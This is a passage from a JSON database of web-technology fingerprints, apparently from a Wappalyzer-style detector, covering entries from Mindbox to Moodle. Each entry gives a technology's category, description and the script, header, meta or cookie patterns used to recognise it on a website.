\"website\": \"https://www.mindbodyonline.com\"\n  },\n  \"Mindbox\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Mindbox is a marketing automation platform.\",\n    \"icon\": \"Mindbox.svg\",\n    \"js\": {\n      \"MindboxEndpointSettings\": \"\",\n      \"mindbox\": \"\",\n      \"mindboxBatchedModulesInitialized\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mindbox.ru\"\n  },\n  \"Minero.cc\": {\n    \"cats\": [\n      56\n    ],\n    \"description\": \"Minero.cc is a bot that helps run crypto mining application.\",\n    \"scriptSrc\": [\n      \"//minero\\\\.cc/lib/minero(?:-miner|-hidden)?\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://minero.cc/\"\n  },\n  \"MiniOrange Login\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Social Login with Discord, Facebook, Google, Twitter, LinkedIn and other apps.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/miniorange-login-openid/'], #js-cookie-script-js, #mo-social-login-script-js\"\n    ],\n    \"icon\": \"MiniOrange Login.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"miniorange-login-openid\\\\/includes\\\\/js(?:\\\\/mo_openid_jquery)?(?:\\\\/mo-openid-social_login)?(?:\\\\/social_login)?(?:\\\\/jquery)?(?:\\\\.cookie)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/miniorange-login-openid\"\n  },\n  \"MiniServ\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"MiniServ/([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"implies\": [\n      \"Webmin\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/webmin/webmin/blob/master/miniserv.pl\"\n  },\n  \"Miniflat\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Miniflat is an Iranian and Persian content management system developed with flat file technology.\",\n    \"icon\": \"Miniflat.svg\",\n    \"meta\": {\n      \"generator\": \"^Miniflat$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://miniflat.ir\"\n  },\n  \"Mint\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Mint is an extensible, self-hosted web site analytics program.\",\n    \"icon\": \"Mint.png\",\n    \"js\": {\n      \"Mint\": \"\"\n    },\n    \"scriptSrc\": [\n      \"mint/\\\\?js\"\n    ],\n    \"website\": \"https://haveamint.com\"\n  },\n  \"Mintlify\": {\n    \"cats\": [\n      57,\n      4\n    ],\n    \"description\": \"Mintlify is a platform that enables developers to create and maintain documentation for their projects using Markdown format and automatically generate and deploy static websites via a continuous integration and deployment system.\",\n    \"icon\": \"Mintlify.svg\",\n    \"js\": {\n      \"__NEXT_DATA__.props.pageProps.favicons.browserconfig\": \"mintlify\\\\..+\\\\.amazonaws\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mintlify.com\"\n  },\n  \"Mirai\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Mirai is a hotel management system.\",\n    \"icon\": \"Mirai.svg\",\n    \"js\": {\n      \"Mirai\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mirai\\\\.com/\"\n    ],\n    \"website\": \"https://www.mirai.com\"\n  },\n  \"Miso\": {\n    \"cats\": [\n      29,\n      76\n    ],\n    \"description\": \"Miso is a real-time personalisation APIs for search, recommendation, and marketing.\",\n    \"icon\": \"Miso.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://miso.ai\",\n    \"xhr\": [\n      \"\\\\.askmiso\\\\.com/\"\n    ]\n  },\n  \"MissionSuite\": {\n    \"cats\": [\n      32,\n      53\n    ],\n    \"description\": \"Mission Suite is an all-in-one marketing software solution which combines CRM, email marketing, marketing automation, and inbound marketing tools.\",\n    \"icon\": \"MissionSuite.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.themissionsuite\\\\.com\"\n    ],\n    \"scripts\": [\n      \"app\\\\.themissionsuite\\\\.com\"\n    ],\n    \"website\": \"https://www.themissionsuite.com\"\n  },\n  \"Misskey\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:misskey:misskey:*:*:*:*:*:*:*:*\",\n    \"description\": \"Misskey is a distributed microblogging platform.\",\n    \"html\": [\n      \"<!-- Thank you for using Misskey! @syuilo -->\"\n    ],\n    \"icon\": \"Misskey.svg\",\n    \"meta\": {\n      \"application-name\": \"Misskey\"\n    },\n    \"website\": \"https://join.misskey.page/\"\n  },\n  \"Mithril\": {\n    \"cats\": [\n      12,\n      59\n    ],\n    \"description\": \"A Javascript Framework for building applications.\",\n    \"icon\": \"Mithril.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"mithril(?:[\\\\.-]min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?mithril(?:[\\\\.-]min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mithril.js.org/\"\n  },\n  \"Mithril.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Mithril.js is a lightweight JavaScript framework for building efficient and declarative single-page applications (SPAs).\",\n    \"icon\": \"Mithril.js.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/mithril(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mithril.js.org\"\n  },\n  \"Mittwald\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Mittwald is a web hosting agency, established in 2003 in Espelkamp, Germany\",\n    \"dns\": {\n      \"SOA\": \"ns\\\\d+\\\\.agenturserver\\\\.(?:de|co|it)\"\n    },\n    \"icon\": \"Mittwald.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.mittwald.de\"\n  },\n  \"Miva\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Miva is a privately owned ecommerce shopping cart software and hosting company with headquarters in San Diego.\",\n    \"headers\": {\n      \"content-disposition\": \"filename=(?:mvga\\\\.js|MivaEvents\\\\.js)\"\n    },\n    \"icon\": \"miva.svg\",\n    \"js\": {\n      \"MivaVM_API\": \"\",\n      \"MivaVM_Version\": \"^(.+)$\\\\;version:\\\\1\",\n      \"mivaJS\": \"\",\n      \"mivaJS.Page\": \"\",\n      \"mivaJS.Product_Code\": \"\",\n      \"mivaJS.Product_ID\": \"\",\n      \"mivaJS.Screen\": \"\",\n      \"mivaJS.Store_Code\": \"\"\n    },\n    \"scriptSrc\": [\n      \"mvga\\\\.js\"\n    ],\n    \"website\": \"https://www.miva.com\"\n  },\n  \"Mixin\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Mixin is a highly-available ecommerce cloud.\",\n    \"icon\": \"Mixin.svg\",\n    \"meta\": {\n      \"mixin_hash_id\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mixin.ir\"\n  },\n  \"Mixitup\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A CSS3 and jQuery Filter & Sort Plugin.\",\n    \"icon\": \"kunkalabs.svg\",\n    \"scriptSrc\": [\n      \"mixitup(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.kunkalabs.com/mixitup/\"\n  },\n  \"Mixpanel\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Mixpanel provides a business analytics service. It tracks user interactions with web and mobile applications and provides tools for targeted communication with them. Its toolset contains in-app A/B tests and user survey forms.\",\n    \"dns\": {\n      \"TXT\": [\n        \"mixpanel-domain-verify\"\n      ]\n    },\n    \"icon\": \"Mixpanel.svg\",\n    \"js\": {\n      \"mixpanel\": \"\"\n    },\n    \"scriptSrc\": [\n      \"cdn\\\\.mxpnl\\\\.com/libs/mixpanel\\\\-([0-9.]+)\\\\.min\\\\.js\\\\;version:\\\\1\",\n      \"api\\\\.mixpanel\\\\.com/track\"\n    ],\n    \"website\": \"https://mixpanel.com\"\n  },\n  \"MizbanCloud\": {\n    \"cats\": [\n      31\n    ],\n    \"description\": \"MizbanCloud is a total cloud infrastructure solutions, CDN service provider and Cloud Computing Services, Cloud DNS, Cloud Security, VoD Streaming Service, Live Streaming, Cloud Object Storage.\",\n    \"headers\": {\n      \"server\": \"^MizbanCloud$\"\n    },\n    \"icon\": \"MizbanCloud.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://mizbancloud.com\"\n  },\n  \"MkDocs\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"MkDocs is a static site generator, used for building project documentation.\",\n    \"icon\": \"mkdocs.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"meta\": {\n      \"generator\": \"^mkdocs-([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.mkdocs.org/\"\n  },\n  \"MoEngage\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"MoEngage is an intelligent customer engagement platform for the customer-obsessed marketer.\",\n    \"icon\": \"MoEngage.svg\",\n    \"js\": {\n      \"MOENGAGE_API_KEY\": \"\",\n      \"Moengage\": \"\",\n      \"downloadMoengage\": \"\",\n      \"moengage_object\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.moengage\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.moengage.com\"\n  },\n  \"MobX\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"MobX.svg\",\n    \"js\": {\n      \"__mobxGlobal\": \"\",\n      \"__mobxGlobals\": \"\",\n      \"__mobxInstanceCount\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:/([\\\\d\\\\.]+))?/mobx(?:\\\\.[a-z]+){0,2}\\\\.js(?:$|\\\\?)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mobx.js.org\"\n  },\n  \"Mobify\": {\n    \"cats\": [\n      6,\n      26\n    ],\n    \"description\": \"Mobify is a web storefront platform for headless commerce.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Mobify\"\n    },\n    \"icon\": \"Mobify.png\",\n    \"js\": {\n      \"Mobify\": \"\"\n    },\n    \"scriptSrc\": [\n      \"//cdn\\\\.mobify\\\\.com/\",\n      \"//a\\\\.mobify\\\\.com/\"\n    ],\n    \"website\": \"https://www.mobify.com\"\n  },\n  \"Mobirise\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Mobirise is a free offline app for Windows and Mac to easily create small/medium websites, landing pages, online resumes and portfolios.\",\n    \"html\": [\n      \"<!-- Site made with Mobirise Website Builder v([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"mobirise.svg\",\n    \"meta\": {\n      \"generator\": \"^Mobirise v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://mobirise.com\"\n  },\n  \"MochiKit\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"MochiKit.png\",\n    \"js\": {\n      \"MochiKit\": \"\",\n      \"MochiKit.MochiKit.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"MochiKit(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mochi.github.io/mochikit/\"\n  },\n  \"MochiWeb\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:mochiweb_project:mochiweb:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"MochiWeb(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://github.com/mochi/mochiweb\"\n  },\n  \"Modal Forms\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Modal Forms is a tool that enhances your website by adding interactive pop-ups.\",\n    \"icon\": \"ModalForms.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.modalforms\\\\.com/\"\n    ],\n    \"website\": \"https://www.modalforms.com\"\n  },\n  \"Moder\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Moder is a PMS system for hotels and resorts to manage and grow their tourism businesses.\",\n    \"icon\": \"Moder.svg\",\n    \"js\": {\n      \"Moder.$attrs\": \"\",\n      \"ModerSettings.property\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://moder.fi\"\n  },\n  \"Modernizr\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Modernizr is a JavaScript library that detects the features available in a user's browser.\",\n    \"icon\": \"Modernizr.svg\",\n    \"js\": {\n      \"Modernizr._version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"modernizr(?:\\\\.([\\\\d.]+))?.*\\\\.js\\\\;version:\\\\1\",\n      \"([\\\\d.]+)?/modernizr.*\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://modernizr.com\"\n  },\n  \"ModiFace\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"ModiFace is a provider of Augmented Reality technology for the beauty industry.\",\n    \"dom\": [\n      \"iframe[src*='.modiface.com/']\"\n    ],\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.modiface\\\\.com\"\n    },\n    \"icon\": \"ModiFace.svg\",\n    \"js\": {\n      \"initModiface\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.modiface\\\\.com/\"\n    ],\n    \"website\": \"https://modiface.com\"\n  },\n  \"Modified\": {\n    \"cats\": [\n      6\n    ],\n    \"icon\": \"modified.png\",\n    \"meta\": {\n      \"generator\": \"\\\\(c\\\\) by modified eCommerce Shopsoftware ------ http://www\\\\.modified-shop\\\\.org\"\n    },\n    \"website\": \"https://www.modified-shop.org/\"\n  },\n  \"Modified eCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:modified-shop:modified_ecommerce_shopsoftware:*:*:*:*:*:*:*:*\",\n    \"description\": \"Modified eCommerce is a PHP-based open-source ecommerce platform designed for creating and managing online stores with customizable features and functionalities.\",\n    \"icon\": \"Modified eCommerce.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"by modified eCommerce Shopsoftware\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.modified-shop.org\"\n  },\n  \"Modula\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Modula is a customizable gallery plugin for WordPress.\",\n    \"icon\": \"Modula.svg\",\n    \"js\": {\n      \"ModulaIsotope\": \"\",\n      \"modulaInViewport\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://wp-modula.com\"\n  },\n  \"Module Federation\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Module Federation is a webpack technology for dynamically loading parts of other independently deployed builds.\",\n    \"icon\": \"Webpack.svg\",\n    \"implies\": [\n      \"Webpack\"\n    ],\n    \"scripts\": [\n      \"data-webpack\\\\;confidence:50\",\n      \"Container initialization failed as it has already been initialized with a different share scope\"\n    ],\n    \"website\": \"https://webpack.js.org/concepts/module-federation/\"\n  },\n  \"Moguta.CMS\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"description\": \"Moguta is a Russian-based ecommerce platform that provides tools and solutions for creating and managing online stores.\",\n    \"html\": [\n      \"<link[^>]+href=[\\\"'][^\\\"]+mg-(?:core|plugins|templates)/\"\n    ],\n    \"icon\": \"Moguta.CMS.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"onetime\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"mg-(?:core|plugins|templates)/\"\n    ],\n    \"website\": \"https://moguta.ru\"\n  },\n  \"MoinMoin\": {\n    \"cats\": [\n      8\n    ],\n    \"cookies\": {\n      \"MOIN_SESSION\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:moinmo:moinmoin:*:*:*:*:*:*:*:*\",\n    \"description\": \"MoinMoin is a wiki engine implemented in Python.\",\n    \"icon\": \"MoinMoin.svg\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"js\": {\n      \"show_switch2gui\": \"\"\n    },\n    \"scriptSrc\": [\n      \"moin(?:_static(\\\\d)(\\\\d)(\\\\d)|.+)/common/js/common\\\\.js\\\\;version:\\\\1.\\\\2.\\\\3\"\n    ],\n    \"website\": \"https://moinmo.in\"\n  },\n  \"Mojo\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Mojo is a platform for direct-to-consumer ecommerce websites, designed for the next generation of online shop owners to boost sales through their social content.\",\n    \"icon\": \"Mojo.svg\",\n    \"js\": {\n      \"mojoApp\": \"\",\n      \"mojoTrackUrl\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://mojo-app.com/ecommerce\"\n  },\n  \"Mojolicious\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:mojolicious:mojolicious:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mojolicious is a Perl-based web framework designed for building web applications and APIs.\",\n    \"headers\": {\n      \"server\": \"^mojolicious\",\n      \"x-powered-by\": \"mojolicious\"\n    },\n    \"icon\": \"Mojolicious.svg\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://mojolicio.us\"\n  },\n  \"Mokka\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Mokka is a Buy Now Pay Later solution that connects target customer acquisition and settlement costs through marketing and promotion.\",\n    \"icon\": \"Mokka.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"revoiframe\\\\.js\"\n    ],\n    \"website\": \"https://mokka.ro\"\n  },\n  \"Mollie\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Mollie is a payment provider for Belgium and the Netherlands, offering payment methods such as credit card, iDEAL, Bancontact/Mister cash, PayPal, SCT, SDD, and others.\",\n    \"icon\": \"Mollie.svg\",\n    \"js\": {\n      \"Mollie\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/wp-content/plugins/mollie-payments-for-woocommerce/\"\n    ],\n    \"website\": \"https://www.mollie.com\"\n  },\n  \"Mollom\": {\n    \"cats\": [\n      16\n    ],\n    \"cpe\": \"cpe:2.3:a:acquia:mollom:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<img[^>]+\\\\.mollom\\\\.com\"\n    ],\n    \"icon\": \"Mollom.png\",\n    \"scriptSrc\": [\n      \"mollom(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://mollom.com\"\n  },\n  \"Momence\": {\n    \"cats\": [\n      72,\n      104\n    ],\n    \"description\": \"Momence is an all-in-one toolbox for gyms and studios, enabling scheduling of online and in-person classes, events, appointments, and experiences.\",\n    \"dom\": [\n      \"div[id*='momence-plugin-lead-form']\"\n    ],\n    \"icon\": \"Momence.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//momence\\\\.com/plugin/\"\n    ],\n    \"website\": \"https://momence.com\"\n  },\n  \"Moment Timezone\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Moment Timezone is a library built upon Moment.js, extending its capabilities to handle time zones in JavaScript. It allows developers to parse, manipulate, and display dates and times in various time zones, providing comprehensive support for time zone conversions and adjustments in web applications.\",\n    \"icon\": \"Moment Timezone.svg\",\n    \"implies\": [\n      \"Moment.js\"\n    ],\n    \"scriptSrc\": [\n      \"moment-timezone(?:-data)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://momentjs.com/timezone/\"\n  },\n  \"Moment.js\": {\n    \"cats\": [\n      59\n    ],\n    \"cpe\": \"cpe:2.3:a:momentjs:moment:*:*:*:*:*:*:*:*\",\n    \"description\": \"Moment.js is a free and open-source JavaScript library that removes the need to use the native JavaScript Date object directly.\",\n    \"icon\": \"Moment.js.svg\",\n    \"js\": {\n      \"moment\": \"\",\n      \"moment.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"moment(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://momentjs.com\"\n  },\n  \"Momice\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Momice is an event management platform that offers tools for organising and managing events.\",\n    \"icon\": \"Momice.svg\",\n    \"js\": {\n      \"webpackChunkmomice_eventsite_new\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Momice$\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.momice.com/nl/welkom\"\n  },\n  \"Monaco Editor\": {\n    \"cats\": [\n      24\n    ],\n    \"css\": [\n      \"\\\\.monaco-editor\"\n    ],\n    \"description\": \"Monaco Editor is the code editor that powers VS Code. Monaco Editor is a tool in the text editor category of a tech stack.\",\n    \"icon\": \"Microsoft.svg\",\n    \"js\": {\n      \"MonacoEnvironment\": \"\",\n      \"apex.libVersions.monacoEditor\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"monaco.editor\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://microsoft.github.io/monaco-editor/\"\n  },\n  \"Mondial Relay\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Mondial Relay is a parcel shipping and delivery service in Europe.\",\n    \"icon\": \"Mondial Relay.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bMondial Relay\\\\b\"\n    ],\n    \"website\": \"https://www.mondialrelay.com\"\n  },\n  \"Mondo Media\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Mondo Media is a German digital agency that specializes in web design, development, digital marketing, and ecommerce solutions tailored to businesses and organizations.\",\n    \"icon\": \"Mondo Media.svg\",\n    \"meta\": {\n      \"generator\": \"Mondo Shop\"\n    },\n    \"website\": \"https://mondo-media.de\"\n  },\n  \"Moneris\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Moneris (formerly Moneris Solutions) is Canada's largest financial technology company that specialises in payment processing.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.moneris\\\\.com\"\n    },\n    \"icon\": \"Moneris.svg\",\n    \"js\": {\n      \"initialServerData.monerisConfiguration\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.moneris.com\"\n  },\n  \"Moneris Payment Gateway\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Moneris is Canada’s leading processor of Debit and credit card payments. This WooCommerce extension automatically adds moneris payment gateway to your woocommerce website and allows you to keep the customer on your site for the checkout process.\",\n    \"icon\": \"Moneris.svg\",\n    \"implies\": [\n      \"Moneris\",\n      \"WooCommerce\"\n    ],\n    \"js\": {\n      \"wc_moneris_hosted_tokenization_params\": \"\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/woocommerce-gateway-moneris/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/wc-moneris-payment-gateway\"\n  },\n  \"Monetate\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"description\": \"Monetate is a company that specializes in providing personalisation and customer experience optimisation solutions to businesses.\",\n    \"icon\": \"Monetate.svg\",\n    \"js\": {\n      \"monetate\": \"\",\n      \"monetateQ\": \"\",\n      \"monetateT\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.monetate\\\\.net\"\n    ],\n    \"website\": \"https://monetate.com\"\n  },\n  \"MongoDB\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*\",\n    \"description\": \"MongoDB is a document-oriented NoSQL database used for high volume data storage.\",\n    \"icon\": \"MongoDB.svg\",\n    \"website\": \"https://www.mongodb.org\"\n  },\n  \"Mongrel\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:zed_shaw:mongrel:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"Mongrel\"\n    },\n    \"icon\": \"Mongrel.png\",\n    \"implies\": [\n      \"Ruby\"\n    ],\n    \"website\": \"https://mongrel2.org\"\n  },\n  \"Monitus\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Monitus is a provider of web analytics tools for online retailers, specialising in developing solutions for the Yahoo Stores platform.\",\n    \"icon\": \"Monitus.svg\",\n    \"js\": {\n      \"monitus\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Yahoo! Ecommerce\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.monitus\\\\.net/\"\n    ],\n    \"website\": \"https://www.monitus.net\"\n  },\n  \"Monkey HTTP Server\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"Monkey/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Monkey HTTP Server.png\",\n    \"website\": \"https://monkey-project.com\"\n  },\n  \"Mono\": {\n    \"cats\": [\n      18\n    ],\n    \"cpe\": \"cpe:2.3:a:mono:mono:*:*:*:*:*:*:*:*\",\n    \"description\": \"Mono is an open-source platform that enables developers to create and run .NET applications across different operating systems, facilitating cross-platform compatibility.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Mono\"\n    },\n    \"icon\": \"Mono.svg\",\n    \"oss\": true,\n    \"website\": \"https://mono-project.com\"\n  },\n  \"Mono.net\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Mono.net is a website builder platform designed for businesses to create and manage their own websites with hosting and online presence tools.\",\n    \"icon\": \"Mono.net.svg\",\n    \"implies\": [\n      \"Matomo Analytics\"\n    ],\n    \"js\": {\n      \"_monoTracker\": \"\"\n    },\n    \"scriptSrc\": [\n      \"monotracker(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://www.mono.net/en\"\n  },\n  \"Monsido\": {\n    \"cats\": [\n      10,\n      67,\n      68\n    ],\n    \"description\": \"Monsido provides a website management platform that automates processes, ensures regulatory compliance, improves collaboration in web and marketing teams, and streamlines reporting.\",\n    \"icon\": \"Monsido.svg\",\n    \"js\": {\n      \"_monsido\": \"\",\n      \"monsido_tracking\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://monsido.com\"\n  },\n  \"MonsterInsights\": {\n    \"cats\": [\n      87,\n      10\n    ],\n    \"cpe\": \"cpe:2.3:a:monsterinsights:monsterinsights:*:*:*:*:*:wordpress:*:*\",\n    \"description\": \"MonsterInsights is the most popular Google Analytics plugin for WordPress.\",\n    \"icon\": \"MonsterInsights.svg\",\n    \"js\": {\n      \"MonsterInsights\": \"\",\n      \"monsterinsights_frontend\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/google-analytics-for-wordpress/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.monsterinsights.com\"\n  },\n  \"Monto\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Monto is a platform for ecommerce apps in Webflow, designed to enhance business sales and optimise Webflow ecommerce sites.\",\n    \"icon\": \"Monto.svg\",\n    \"js\": {\n      \"MONTO\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Webflow\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.monto\\\\.io/\"\n    ],\n    \"website\": \"https://www.monto.io\"\n  },\n  \"MooTools\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:mootools:mootools:*:*:*:*:*:*:*:*\",\n    \"description\": \"MooTools is a JavaScript framework that enhances web application development with utilities for DOM manipulation, animations, and AJAX interactions.\",\n    \"icon\": \"MooTools.svg\",\n    \"js\": {\n      \"MooTools\": \"\",\n      \"MooTools.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"mootools.*\\\\.js\"\n    ],\n    \"website\": \"https://mootools.net\"\n  },\n  \"Moodle\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"MOODLEID_\": \"\",\n      \"MoodleSession\": \"\"\n    },\n    \"cpe\": 